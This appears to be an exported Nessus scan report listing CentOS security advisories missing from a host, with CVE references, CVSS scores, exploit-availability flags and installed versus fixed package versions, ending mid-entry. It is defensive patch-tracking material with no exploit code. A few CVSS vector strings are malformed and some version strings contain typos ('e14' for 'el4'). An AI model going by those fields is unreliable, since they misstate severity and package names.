32401 - CentOS 3 / 4 / 5 : libxslt (CESA-2008:0287)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libxslt packages that fix a security issue are now available.

This update has been rated as having important security impact by the Red Hat Security Response Team.

libxslt is a C library, based on libxml, for parsing of XML files into other textual formats (eg HTML, plain text and other XML representations of the underlying data) It uses the standard XSLT stylesheet transformation mechanism and, being written in plain ANSI C, is designed to be simple to incorporate into other applications

Anthony de Almeida Lopes reported the libxslt library did not properly process long 'transformation match' conditions in the XSL stylesheet files. An attacker could create a malicious XSL file that would cause a crash, or, possibly, execute and arbitrary code with the privileges of the application using libxslt library to perform XSL transformations. (CVE-2008-1767)

All users are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?7d4792bc>
<http://www.nessus.org/u?7fb6f292>
<http://www.nessus.org/u?7ecdcaf9>
<http://www.nessus.org/u?5d924c26>
<http://www.nessus.org/u?1e15aebb>
<http://www.nessus.org/u?315b6946>
<http://www.nessus.org/u?58a7ced9>
<http://www.nessus.org/u?a36cb756>

Solution

Update the affected libxslt packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	29312
CVE	CVE-2008-1767
XREF	RHSA:2008:0287
XREF	CWE:119

Plugin Information

Published: 2008/05/22, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libxslt-1.1.11-1
Should be : libxslt-1.1.11-1.el4_6.1
```

37788 - CentOS 3 / 4 / 5 : perl (CESA-2007:0966)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated Perl packages that fix a security issue are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

Perl is a high-level programming language commonly used for system administration utilities and Web programming.

A flaw was found in Perl's regular expression engine. Specially crafted input to a regular expression can cause Perl to improperly allocate memory, possibly resulting in arbitrary code running with the permissions of the user running Perl. (CVE-2007-5116)

Users of Perl are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue.

Red Hat would like to thank Tavis Ormandy and Will Drewry for properly disclosing this issue.

See Also

<http://www.nessus.org/u?a965069c>
<http://www.nessus.org/u?e5ec54e1>
<http://www.nessus.org/u?b0240323>
<http://www.nessus.org/u?491addd6>
<http://www.nessus.org/u?3eb819b9>
<http://www.nessus.org/u?bf4a7085>
<http://www.nessus.org/u?7e14b38e>
<http://www.nessus.org/u?e35b1785>

Solution

Update the affected perl packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	26350
CVE	CVE-2007-5116
XREF	RHSA:2007:0966
XREF	CWE:119

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : perl-5.8.5-36.RHEL4
Should be : perl-5.8.5-36.e14_5.2
```

43878 - CentOS 3 / 4 / 5 : php (CESA-2010:0040)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated php packages that fix several security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

PHP is an HTML-embedded scripting language commonly used with the Apache HTTP Web server.

Multiple missing input sanitization flaws were discovered in PHP's exif extension. A specially crafted image file could cause the PHP interpreter to crash or, possibly, disclose portions of its memory when a PHP script tried to extract Exchangeable image file format (Exif) metadata from the image file. (CVE-2009-2687, CVE-2009-3292)

A missing input sanitization flaw, leading to a buffer overflow, was discovered in PHP's gd library. A specially crafted GD image file could cause the PHP interpreter to crash or, possibly, execute arbitrary code when opened. (CVE-2009-3546)

It was discovered that PHP did not limit the maximum number of files that can be uploaded in one request. A remote attacker could use this flaw to instigate a denial of service by causing the PHP interpreter to use lots of system resources dealing with requests containing large amounts of files to be uploaded. This vulnerability depends on file uploads being enabled (which it is, in the default PHP configuration). (CVE-2009-4017)

Note: This update introduces a new configuration option, max_file_uploads, used for limiting the number of files that can be uploaded in one request. By default, the limit is 20 files per request.

It was discovered that PHP was affected by the previously published 'null prefix attack', caused by incorrect handling of NUL characters in X.509 certificates. If an attacker is able to get a carefully-crafted certificate signed by a trusted Certificate Authority, the attacker could use the certificate during a man-in-the-middle attack and potentially confuse PHP into accepting it by mistake. (CVE-2009-3291)

It was discovered that PHP's htmlspecialchars() function did not properly recognize partial multi-byte sequences for some multi-byte encodings, sending them to output without them being escaped. An attacker could use this flaw to perform a cross-site scripting attack. (CVE-2009-4142)

All php users should upgrade to these updated packages, which contain backported patches to resolve these issues. After installing the updated packages, the httpd daemon must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?2d66cbd6>
<http://www.nessus.org/u?d3805ee3>
<http://www.nessus.org/u?419e28cb>
<http://www.nessus.org/u?e469459b>
<http://www.nessus.org/u?c0db61c4>
<http://www.nessus.org/u?b10b9002>

Solution

Update the affected php packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID 35440

BID	36449
BID	36712
BID	37079
CVE	CVE-2009-2687
CVE	CVE-2009-3291
CVE	CVE-2009-3292
CVE	CVE-2009-3546
CVE	CVE-2009-4017
CVE	CVE-2009-4142
XREF	RHSA:2010:0040
XREF	CWE:20
XREF	CWE:79

Plugin Information

Published: 2010/01/14, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : php-4.3.9-3.26
Should be : php-4.3.9-3.29

Remote package installed : php-ldap-4.3.9-3.26
Should be : php-ldap-4.3.9-3.29

Remote package installed : php-mysql-4.3.9-3.26
Should be : php-mysql-4.3.9-3.29

Remote package installed : php-pear-4.3.9-3.26
Should be : php-pear-4.3.9-3.29

26028 - CentOS 3 / 4 / 5 : qt (CESA-2007:0883)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated qt packages that correct two security flaws are now available.

This update has been rated as having important security impact by the Red Hat Security Response Team.

Qt is a software toolkit that simplifies the task of writing and maintaining GUI (Graphical User Interface) applications for the X Window System.

A flaw was found in the way Qt expanded certain UTF8 characters. It was possible to prevent a Qt-based application from properly sanitizing user-supplied input. This could, for example, result in a cross-site scripting attack against the Konqueror web browser.
(CVE-2007-0242)

A buffer overflow flaw was found in the way Qt expanded malformed Unicode strings. If an application linked against Qt parsed a malicious Unicode string, it could lead to a denial of service or possibly allow the execution of arbitrary code. (CVE-2007-4137)

Users of Qt should upgrade to these updated packages, which contain a backported patch to correct these issues.

See Also

<http://www.nessus.org/u?5f79cf04>
<http://www.nessus.org/u?dfa694ad>
<http://www.nessus.org/u?94ca4688>
<http://www.nessus.org/u?cb2cbee7>
<http://www.nessus.org/u?ec2ad63b>
<http://www.nessus.org/u?cdcf183a>
<http://www.nessus.org/u?60627ecc>
<http://www.nessus.org/u?967ce360>

Solution

Update the affected qt packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	23269
BID	25657
CVE	CVE-2007-0242
CVE	CVE-2007-4137
XREF	RHSA:2007:0883
XREF	CWE:119

Plugin Information

Published: 2007/09/14, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : qt-3.3.3-10.RHEL4
Should be : qt-3.3.3-13.RHEL4

49261 - CentOS 3 / 4 / 5 : samba (CESA-2010:0697)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated samba packages that fix one security issue and one bug are now available for Red Hat Enterprise Linux 3, 4, and 5, and Red Hat Enterprise Linux 4.7, 5.3, and 5.4 Extended Update Support.

The Red Hat Security Response Team has rated this update as having critical security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

Samba is a suite of programs used by machines to share files, printers, and other information.

A missing array boundary checking flaw was found in the way Samba parsed the binary representation of Windows security identifiers (SIDs). A malicious client could send a specially crafted SMB request to the Samba server, resulting in arbitrary code execution with the privileges of the Samba server (smbd). (CVE-2010-3069)

For Red Hat Enterprise Linux 4, this update also fixes the following bug :

* Previously, the restorecon utility was required during the installation of the samba-common package. As a result, attempting to update samba without this utility installed may have failed with the following error :

/var/tmp/rpm-tmp.[xxxxx]: line 7: restorecon: command not found

With this update, the utility is only used when it is already present on the system, and the package is now always updated as expected. (BZ#629602)

Users of Samba are advised to upgrade to these updated packages, which correct these issues. After installing this update, the smb service will be restarted automatically.

See Also

<http://www.nessus.org/u?f42c48d7>
<http://www.nessus.org/u?af18a145>
<http://www.nessus.org/u?f0b8192c>
<http://www.nessus.org/u?42a22505>
<http://www.nessus.org/u?68832905>
<http://www.nessus.org/u?cf995d63>

Solution

Update the affected samba packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	43212
CVE	CVE-2010-3069
XREF	RHSA:2010:0697

Plugin Information

Published: 2010/09/17, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : samba-client-3.0.10-1.4E.11
Should be : samba-client-3.0.33-0.19.el4_8.3
```

```
Remote package installed : samba-common-3.0.10-1.4E.11
Should be : samba-common-3.0.33-0.19.el4_8.3
```

47101 - CentOS 3 / 4 / 5 : samba / samba3x (CESA-2010:0488)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated samba and samba3x packages that fix one security issue are now available for Red Hat Enterprise Linux 3, 4, and 5, and Red Hat Enterprise Linux 4.7, 5.3, and 5.4 Extended Update Support.

The Red Hat Security Response Team has rated this update as having critical security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

Samba is a suite of programs used by machines to share files, printers, and other information.

An input sanitization flaw was found in the way Samba parsed client data. A malicious client could send a specially crafted SMB packet to the Samba server, resulting in arbitrary code execution with the privileges of the Samba server (smbd). (CVE-2010-2063)

Red Hat would like to thank the Samba team for responsibly reporting this issue. Upstream acknowledges Jun Mao as the original reporter.

Users of Samba are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue. After installing this update, the smb service will be restarted automatically.

See Also

<http://www.nessus.org/u?884ed894>
<http://www.nessus.org/u?e7b7b5c3>
<http://www.nessus.org/u?c3a9d1f1>
<http://www.nessus.org/u?8acbcbff>
<http://www.nessus.org/u?f2e023c0>
<http://www.nessus.org/u?dd7a47fc>
<http://www.nessus.org/u?99d79cd5>
<http://www.nessus.org/u?e8109f8c>

Solution

Update the affected samba and / or samba3x packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

CVE	CVE-2010-2063
XREF	RHSA:2010:0488

Exploitable With

Metasploit (true)

Plugin Information

Published: 2010/06/21, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : samba-client-3.0.10-1.4E.11
Should be : samba-client-3.0.33-0.19.e14_8.1
```

```
Remote package installed : samba-common-3.0.10-1.4E.11
Should be : samba-common-3.0.33-0.19.e14_8.1
```

45594 - CentOS 3 / 4 / 5 : wireshark (CESA-2010:0360)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated wireshark packages that fix several security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

Wireshark is a program for monitoring network traffic. Wireshark was previously known as Ethereal.

An invalid pointer dereference flaw was found in the Wireshark SMB and SMB2 dissectors. If Wireshark read a malformed packet off a network or opened a malicious dump file, it could crash or, possibly, execute arbitrary code as the user running Wireshark. (CVE-2009-4377)

Several buffer overflow flaws were found in the Wireshark LWRES dissector. If Wireshark read a malformed packet off a network or opened a malicious dump file, it could crash or, possibly, execute arbitrary code as the user running Wireshark. (CVE-2010-0304)

Several denial of service flaws were found in Wireshark. Wireshark could crash or stop responding if it read a malformed packet off a network, or opened a malicious dump file. (CVE-2009-2560, CVE-2009-2562, CVE-2009-2563, CVE-2009-3550, CVE-2009-3829)

Users of Wireshark should upgrade to these updated packages, which contain Wireshark version 1.0.11, and resolve these issues. All running instances of Wireshark must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?1304c484>
<http://www.nessus.org/u?4e24f164>
<http://www.nessus.org/u?185cf8bb>
<http://www.nessus.org/u?a3cf0dd0>
<http://www.nessus.org/u?a920d944>
<http://www.nessus.org/u?9c47f79c>

Solution

Update the affected wireshark packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:L/I:A:C)

CVSS v2.0 Temporal Score

7.7 (CVSS2#E:F/RL:OF/RC:C)

References

BID	35748
BID	36591
BID	36846
BID	37407

BID	37985
CVE	CVE-2009-2560
CVE	CVE-2009-2562
CVE	CVE-2009-2563
CVE	CVE-2009-3550
CVE	CVE-2009-3829
CVE	CVE-2009-4377
CVE	CVE-2010-0304
XREF	RHSA:2010:0360
XREF	CWE:119
XREF	CWE:189

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2010/04/22, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : wireshark-0.99.5-EL4.1
Should be : wireshark-1.0.11-1.el4_8.5
```

35311 - CentOS 3 / 4 : gnome-vfs2 (CESA-2009:0005)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated GNOME VFS packages that fix a security issue are now available for Red Hat Enterprise Linux 2, 3 and 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

GNOME VFS is the GNOME virtual file system. It provides a modular architecture and ships with several modules that implement support for various local and remote file systems as well as numerous protocols, including HTTP, FTP, and others.

A buffer overflow flaw was discovered in the GNOME virtual file system when handling data returned by CDDB servers. If a user connected to a malicious CDDB server, an attacker could use this flaw to execute arbitrary code on the victim's machine. (CVE-2005-0706)

Users of gnome-vfs and gnome-vfs2 are advised to upgrade to these updated packages, which contain a backported patch to correct this issue. All running GNOME sessions must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?087419ea>
<http://www.nessus.org/u?3f8793f4>
<http://www.nessus.org/u?49e7af3b>
<http://www.nessus.org/u?820f714d>
<http://www.nessus.org/u?a93e6aec>
<http://www.nessus.org/u?c6b3f218>

Solution

Update the affected gnome-vfs2 packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

CVE	CVE-2005-0706
XREF	RHSA:2009:0005

Plugin Information

Published: 2009/01/08, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : gnome-vfs2-2.8.2-8.2
Should be : gnome-vfs2-2.8.2-8.7.el4_7.2
```

32456 - CentOS 3 / 4 : samba (CESA-2008:0288)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated samba packages that fix a security issue and a bug are now available for Red Hat Enterprise Linux 2.1, Red Hat Enterprise Linux 3, and Red Hat Enterprise Linux 4.

This update has been rated as having critical security impact by the Red Hat Security Response Team.

Samba is a suite of programs used by machines to share files, printers, and other information.

A heap-based buffer overflow flaw was found in the way Samba clients handle over-sized packets. If a client connected to a malicious Samba server, it was possible to execute arbitrary code as the Samba client user. It was also possible for a remote user to send a specially crafted print request to a Samba server that could result in the server executing the vulnerable client code, resulting in arbitrary code execution with the permissions of the Samba server.

(CVE-2008-1105)

Red Hat would like to thank Alin Rad Pop of Secunia Research for responsibly disclosing this issue.

Users of Samba are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?63e99da7>
<http://www.nessus.org/u?3ffa9a67>
<http://www.nessus.org/u?f7d966cd>
<http://www.nessus.org/u?8bbf709d>
<http://www.nessus.org/u?78f86d04>
<http://www.nessus.org/u?7cab7c46>

Solution

Update the affected samba packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	29404
CVE	CVE-2008-1105
XREF	RHSA:2008:0288
XREF	CWE:119

Plugin Information

Published: 2008/05/29, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : samba-client-3.0.10-1.4E.11
Should be : samba-client-3.0.25b-1.el4_6.5
```

```
Remote package installed : samba-common-3.0.10-1.4E.11
Should be : samba-common-3.0.25b-1.el4_6.5
```

37794 - CentOS 3 / 4 : vim (CESA-2008:0617)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated vim packages that fix various security issues are now available for Red Hat Enterprise Linux 3 and 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Vim (Visual editor IMproved) is an updated and improved version of the vi editor.

Several input sanitization flaws were found in Vim's keyword and tag handling. If Vim looked up a document's maliciously crafted tag or keyword, it was possible to execute arbitrary code as the user running Vim. (CVE-2008-4101)

A heap-based overflow flaw was discovered in Vim's expansion of file name patterns with shell wildcards. An attacker could create a specially crafted file or directory name that, when opened by Vim, caused the application to crash or, possibly, execute arbitrary code. (CVE-2008-3432)

Several input sanitization flaws were found in various Vim system functions. If a user opened a specially crafted file, it was possible to execute arbitrary code as the user running Vim. (CVE-2008-2712)

Ulf Harnhammar, of Secunia Research, discovered a format string flaw in Vim's help tag processor. If a user was tricked into executing the 'helptags' command on malicious data, arbitrary code could be executed with the permissions of the user running Vim. (CVE-2007-2953)

All Vim users are advised to upgrade to these updated packages, which contain backported patches to correct these issues.

See Also

<http://www.nessus.org/u?cc54fc6a>
<http://www.nessus.org/u?367a1c9a>
<http://www.nessus.org/u?fbfb5dee>
<http://www.nessus.org/u?a4a2cdf8>
<http://www.nessus.org/u?ec3f54e1>
<http://www.nessus.org/u?22256de6>

Solution

Update the affected vim packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:I/C:A/C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2007-2953
CVE	CVE-2008-2712
CVE	CVE-2008-3432
CVE	CVE-2008-4101
XREF	RHSA:2008:0617
XREF	CWE:20
XREF	CWE:119

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : vim-minimal-6.3.046-0.40E.7
Should be : vim-minimal-6.3.046-1.el4_7.5z
```

57808 - CentOS 4 / 5 / 6 : php (CESA-2012:0093)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated php packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5 and 6.

The Red Hat Security Response Team has rated this update as having critical security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

PHP is an HTML-embedded scripting language commonly used with the Apache HTTP Server.

It was discovered that the fix for CVE-2011-4885 (released via RHSA-2012:0071, RHSA-2012:0033, and RHSA-2012:0019 for php packages in Red Hat Enterprise Linux 4, 5, and 6 respectively) introduced an uninitialized memory use flaw. A remote attacker could send a specially crafted HTTP request to cause the PHP interpreter to crash or, possibly, execute arbitrary code. (CVE-2012-0830)

All php users should upgrade to these updated packages, which contain a backported patch to resolve this issue. After installing the updated packages, the httpd daemon must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?9c09939e>
<http://www.nessus.org/u?74a2bba5>
<http://www.nessus.org/u?8ebe85c5>

Solution

Update the affected php packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	51830
CVE	CVE-2012-0830
XREF	RHSA:2012:0093

Plugin Information

Published: 2012/02/03, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : php-4.3.9-3.26
Should be : php-4.3.9-3.36
```

```
Remote package installed : php-ldap-4.3.9-3.26
Should be : php-ldap-4.3.9-3.36
```

```
Remote package installed : php-mysql-4.3.9-3.26
Should be : php-mysql-4.3.9-3.36
```

```
Remote package installed : php-pear-4.3.9-3.26
Should be : php-pear-4.3.9-3.36
```

38897 - CentOS 4 / 5 : cups (CESA-2009:0429)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated cups packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The Common UNIX(r) Printing System (CUPS) provides a portable printing layer for UNIX operating systems.

Multiple integer overflow flaws were found in the CUPS JBIG2 decoder.

An attacker could create a malicious PDF file that would cause CUPS to crash or, potentially, execute arbitrary code as the 'lp' user if the file was printed. (CVE-2009-0147, CVE-2009-1179)

Multiple buffer overflow flaws were found in the CUPS JBIG2 decoder.

An attacker could create a malicious PDF file that would cause CUPS to crash or, potentially, execute arbitrary code as the 'lp' user if the file was printed. (CVE-2009-0146, CVE-2009-1182)

Multiple flaws were found in the CUPS JBIG2 decoder that could lead to the freeing of arbitrary memory. An attacker could create a malicious PDF file that would cause CUPS to crash or, potentially, execute arbitrary code as the 'lp' user if the file was printed.

(CVE-2009-0166, CVE-2009-1180)

Multiple input validation flaws were found in the CUPS JBIG2 decoder.

An attacker could create a malicious PDF file that would cause CUPS to crash or, potentially, execute arbitrary code as the 'lp' user if the file was printed. (CVE-2009-0800)

An integer overflow flaw, leading to a heap-based buffer overflow, was discovered in the Tagged Image File Format (TIFF) decoding routines used by the CUPS image-converting filters, 'imagetops' and 'imagetoraster'. An attacker could create a malicious TIFF file that could, potentially, execute arbitrary code as the 'lp' user if the file was printed. (CVE-2009-0163)

Multiple denial of service flaws were found in the CUPS JBIG2 decoder.

An attacker could create a malicious PDF file that would cause CUPS to crash when printed. (CVE-2009-0799, CVE-2009-1181, CVE-2009-1183)

Red Hat would like to thank Aaron Sigel, Braden Thomas and Drew Yao of the Apple Product Security team, and Will Dormann of the CERT/CC for responsibly reporting these flaws.

Users of cups are advised to upgrade to these updated packages, which contain backported patches to correct these issues. After installing the update, the cupsd daemon will be restarted automatically.

See Also

<http://www.nessus.org/u?ddf82a0f>
<http://www.nessus.org/u?73d4d874>
<http://www.nessus.org/u?29569a49>
<http://www.nessus.org/u?0271ac67>
<http://www.nessus.org/u?26622be5>

Solution

Update the affected cups packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	34571
CVE	CVE-2009-0146
CVE	CVE-2009-0147
CVE	CVE-2009-0163
CVE	CVE-2009-0166
CVE	CVE-2009-0195
CVE	CVE-2009-0799
CVE	CVE-2009-0800
CVE	CVE-2009-1179
CVE	CVE-2009-1180
CVE	CVE-2009-1181
CVE	CVE-2009-1182
CVE	CVE-2009-1183
XREF	RHSA:2009:0429
XREF	CWE:20

XREF CWE:119
XREF CWE:189
XREF CWE:399

Plugin Information

Published: 2009/05/26, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cups-1.1.22-0.rc1.9.20
Should be : cups-1.1.22-0.rc1.9.27.el4_7.5
```

```
Remote package installed : cups-libs-1.1.22-0.rc1.9.20
Should be : cups-libs-1.1.22-0.rc1.9.27.el4_7.5
```

53339 - CentOS 4 / 5 : dhcp (CESA-2011:0428)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated dhcp packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The Dynamic Host Configuration Protocol (DHCP) is a protocol that allows individual devices on an IP network to get their own network configuration information, including an IP address, a subnet mask, and a broadcast address.

It was discovered that the DHCP client daemon, dhclient, did not sufficiently sanitize certain options provided in DHCP server replies, such as the client hostname. A malicious DHCP server could send such an option with a specially crafted value to a DHCP client. If this option's value was saved on the client system, and then later insecurely evaluated by a process that assumes the option is trusted, it could lead to arbitrary code execution with the privileges of that process. (CVE-2011-0997)

Red Hat would like to thank Sebastian Krahmer of the SuSE Security Team for reporting this issue.

All dhclient users should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?29592b28>
<http://www.nessus.org/u?2d6f6c39>
<http://www.nessus.org/u?2ad552cb>
<http://www.nessus.org/u?369cbe1a>

Solution

Update the affected dhcp packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

BID 47176
CVE CVE-2011-0997
XREF RHSA:2011:0428

Exploitable With

CANVAS (true)

Plugin Information

Published: 2011/04/11, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : dhclient-3.0.1-59.EL4
Should be : dhclient-3.0.1-67.el4
```

55860 - CentOS 4 / 5 : dhcp (CESA-2011:1160)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated dhcp packages that fix two security issues are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The Dynamic Host Configuration Protocol (DHCP) is a protocol that allows individual devices on an IP network to get their own network configuration information, including an IP address, a subnet mask, and a broadcast address.

Two denial of service flaws were found in the way the dhcpcd daemon handled certain incomplete request packets. A remote attacker could use these flaws to crash dhcpcd via a specially crafted request.

(CVE-2011-2748, CVE-2011-2749)

Users of DHCP should upgrade to these updated packages, which contain a backported patch to correct these issues. After installing this update, all DHCP servers will be restarted automatically.

See Also

<http://www.nessus.org/u?c5db5bd8>
<http://www.nessus.org/u?1d0237a7>
<http://www.nessus.org/u?078a158d>
<http://www.nessus.org/u?f43a3579>
<http://www.nessus.org/u?c361fa86>
<http://www.nessus.org/u?a583959b>

Solution

Update the affected dhcp packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	49120
CVE	CVE-2011-2748
CVE	CVE-2011-2749
XREF	RHSA:2011:1160

Plugin Information

Published: 2011/08/17, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : dhclient-3.0.1-59.EL4
Should be : dhclient-3.0.1-68.el4
```

NOTE: The security advisory associated with this vulnerability has a

fixed package version that may only be available in the continuous release (CR) repository for CentOS, until it is present in the next point release of CentOS.

If an equal or higher package level does not exist in the baseline repository for your major version of CentOS, then updates from the CR repository will need to be applied in order to address the vulnerability.

49716 - CentOS 4 / 5 : freetype (CESA-2010:0737)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated freetype packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

FreeType is a free, high-quality, portable font engine that can open and manage font files. It also loads, hints, and renders individual glyphs efficiently. The freetype packages for Red Hat Enterprise Linux 4 provide both the FreeType 1 and FreeType 2 font engines. The freetype packages for Red Hat Enterprise Linux 5 provide only the FreeType 2 font engine.

It was discovered that the FreeType font rendering engine improperly validated certain position values when processing input streams. If a user loaded a specially crafted font file with an application linked against FreeType, and the relevant font glyphs were subsequently rendered with the X FreeType library (libXft), it could trigger a heap-based buffer overflow in the libXft library, causing the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2010-3311)

A stack-based buffer overflow flaw was found in the way the FreeType font rendering engine processed some PostScript Type 1 fonts. If a user loaded a specially crafted font file with an application linked against FreeType, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2010-2808)

An array index error was found in the way the FreeType font rendering engine processed certain PostScript Type 42 font files. If a user loaded a specially crafted font file with an application linked against FreeType, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2010-2806)

A stack overflow flaw was found in the way the FreeType font rendering engine processed PostScript Type 1 font files that contain nested Standard Encoding Accented Character (seac) calls. If a user loaded a specially crafted font file with an application linked against FreeType, it could cause the application to crash. (CVE-2010-3054)

Note: All of the issues in this erratum only affect the FreeType 2 font engine.

Users are advised to upgrade to these updated packages, which contain backported patches to correct these issues. The X server must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?5694265b>
<http://www.nessus.org/u?59d11cc1>
<http://www.nessus.org/u?8a09b256>
<http://www.nessus.org/u?dc84293>

Solution

Update the affected freetype packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

References

CVE	CVE-2010-2806
CVE	CVE-2010-2808
CVE	CVE-2010-3054
CVE	CVE-2010-3311
XREF	RHSA:2010:0737

Plugin Information

Published: 2010/10/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : freetype-2.1.9-5.el4
Should be : freetype-2.1.9-17.el4.8
```

56878 - CentOS 4 / 5 : freetype (CESA-2011:1455)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated freetype packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4, 5, and 6.

